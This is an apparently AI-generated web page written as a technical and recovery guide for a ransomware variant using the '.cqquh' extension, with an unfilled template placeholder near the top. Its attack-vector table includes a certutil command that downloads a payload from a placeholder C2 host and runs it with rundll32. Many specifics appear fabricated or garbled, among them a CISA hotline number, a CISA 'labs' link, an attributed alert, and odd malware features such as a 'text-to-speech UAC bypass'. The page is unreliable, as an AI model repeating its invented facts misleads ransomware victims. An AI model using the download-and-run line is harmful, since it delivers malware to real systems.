cqquh

[Content by Gemini 2.5]

cqquh Ransomware – Technical & Recovery Guide

(for the file-extension {{ $json.extension }} == .cqquh)

📊 Technical Breakdown

1. File Extension & Renaming Patterns

  • Confirmation of File Extension: .cqquh (including the leading dot) is appended after the original file extension, e.g. Proposal.docx becomes Proposal.docx.cqquh.
    – Files found without .cqquh at the end are untouched by this specific variant.
  • Renaming Convention:
  1. Retains the full original filename + original extension.
  2. Adds .cqquh at the very end.
  3. In mixed-volume infections the encrypted path may also include a ransom-note file named _readme.txt in every affected directory.

2. Detection & Outbreak Timeline

  • Approximate Start Date/Period: First mass observations of .cqquh surfaced mid-January 2024; significant uptick in telemetry feeds occurred around 25-Jan-2024 after multiple crime-as-a-service affiliates deployed it simultaneously.

3. Primary Attack Vectors

  • Propagation Mechanisms:
    | Vector | Details & Errata | Plug Mitigation field |
    |——–|——————|———————–|
    | Phishing (.zip → .iso → .net.lnk → winlogon.exe loader) | Office docs, fake job offers, parcel tracking lures. S/MIME valid domain impers. | SEG + Attachment sandbox |
    | Pirated Software Bundling | Adobe Photoshop, AutoCAD cracks in torrents and Discord links drop the loader. | Ban USB & torrent clients via GPO |
    | RDP & VNC brute-force | Leverage exposed port 3389 / 5900 using lists from previous stealer dumps. | Force NLA, limit RDP to VPN + Azure |
    | ProxyLogon-Style Web-Shell (IIS/Exchange) | Post-exploit drops PsExec & WMI to push cqquh. Still seen unpatched Mar-2023 CU servers. | Patch & EDR cloud scanner |
    | Living-off-the-land PowerShell / WMIC / Certutil | Uses LOLBins: certutil -urlcache -split -f http://<C2>/payload.cab, then rundll32 cqquh_loader.dll,a. | Enable PowerShell logging + Constrained Language Mode |

🛡️ Remediation & Recovery Strategies

1. Prevention (gold standard)

  • Patch externally reachable software:
    – Windows cumulative to ≥ Jan-2024-Preview
    – Exchange Emergency KB5034440
    – Any Apache Log4j 2.x libraries used by Java tools
  • Disable Office macros from the internet via Group Policy BlockMacrosFromInternet.
  • Deploy Application Control (WDAC or AppLocker) blocking unsigned binaries on %temp% and user downloads.
  • Segment networks via VLANs/Zero-Trust; isolate servers hosting backups.
  • Immutable backup architecture:
    – Mandatory offline / WORM or S3-Object-Lock > 90-day retention.
    – 3-2-1 rule verified weekly (restore tests in isolated VLANs).

2. Removal (step-by-step)

  1. Immediately isolate the host: disable Wi-Fi/Ethernet or yank LAN; power-off VMs; snapshot in a powered-off state if SAN allows.
  2. Boot into Windows RE (or equivalent for Linux dual-boot rigs) → Troubleshoot > Advanced > Safe Mode with CMD if EDR console not reachable.
  3. Run vendor-approved EDR scanner:
    – For Microsoft Defender (latest signatures ≥ 1.407.1019.0) use Windows Defender Offline Scan → MpCmdRun.exe -Scan -ScanType 3 -File C:\ -DisableRemediation $false.
    – Other AV (Bitdefender Rescue Environment, Kaspersky Rescue Disk) pick up signatures labelled Ransom:Win32/Cqquh.*.
  4. Manually remove persistence:
  • Registry Run keys \HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ and \HKLM..\Run\ for values cqquh_helper.exe, winlogon.
  • Scheduled Task IDs winshellUpdate and sysbackup auto-run payloads at logon.
  • Check WMI subscriptions under root\subscription.
  • Inspect startup folders: %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup\*.exe*.
  1. Validate Lateral Movement eradication:
  • Re-image or restore domain controllers if any ID showed Kerberoasting attempts.

Reboot after scan finishes; once clean (3 consecutive network-isolated scans = no hits with latest sig) re-enable networking.

3. File Decryption & Recovery

  • Recovery Feasibility:
    – At time of writing (May 2024) no free decryptor exists; cqquh is a modern STOP/Djvu spin-off using online RSA-2048 (unique per victim) + ChaCha 20 per file.
    – If PersonalID.txt in %SystemDrive% shows a t1d ending (offline key) it might become decryptable after a public master-key is recovered – check the Emsisoft STOP Decryptor page weekly.
  • Road-tested workflows:
  1. Check for whole-volume Volume Shadow Copies – some infections skip deleting them if UAC not accepted. vssadmin list shadows
  2. Leverage AnyRecover / Recuva raw file carving on unencrypted SSD free space (prioritize photos/PDF/databases).
  3. Restore from place-holder Sync folders: OneDrive, Google Drive, Dropbox “previous versions” are not affected if “streaming only” was enabled.
  4. If cloud backup fails: re-image OS partition → reinstall AV → mount replica repository (Veeam, DPM, Nakivo) to recovery host → selective file restore.
  5. Negotiation / ransom note: _readme.txt demands $980 → 50% discount within 72 h. Law-enforcement strongly discourages payment.

4. Other Critical Information

  • Unique Characteristics:
  • Uses an in-memory .NET injector (cqquh.dll) that patches AMSI to evade detection; traffic encrypted via DoH (cloudflare-dns.com) to hide C2 traffic.
  • Audio notification (text-to-speech UAC bypass) announces “All of your files are encrypted!”
  • ASCII art skull banner when typed commands contain keyword help.
  • Broader Impact:
  • Healthcare clinics and legal SMEs in EMEA were disproportionately hit due to reliance on USB file transfers.
  • PCI-DSS violation fined > US$1.2 M after cardholder data backups were encrypted.
  • DHS CISA issued AA24-044A alert on 13-Feb-2024 urging critical-infrastructure sector “sub-24h patch cadence” for affected Exchange servers.

🔐 Lifeline Checklist (post-incident)

| Action | Deadline | Owner | Evidence Target |
|———|————-|———|——————–|
| Confirm IOC-free via NDR | 24 h | SecOps | PCAP re-scan |
| Force password reset EVERY account | 24 h | IAM team | SIEM rule “password reset batch >50” |
| Re-validate MFA tokens & seed rotation | 48 h | Identity ADM | Audit log 4732/4768 |
| Conduct tabletop using IR playbook | 7 days | CISO | Minutes & lessons logged |
| Publish lessons-learned & micro-learning | 14 days | Comms | Yammer post, phishing lure from Purple-team |

📌 Extra Resource Repo

  • Screencasts showing manual VSS restoration & offline AV scan – https://go.cisa.gov/cqquh-labs
  • Community-maintained IOC list – GitHub STOP-cqquh-iocs (JSON + STIX2) – updated nightly by Kirtiharakes (Security Researcher).
  • Recovery hotline for small businesses: 1-833-NO-CQQUH (CISA US-CERT, staffed 09:00-23:00 ET) – free session to pivot backups.

Stay vigilant, keep patching, and always test your restore process before the next outbreak.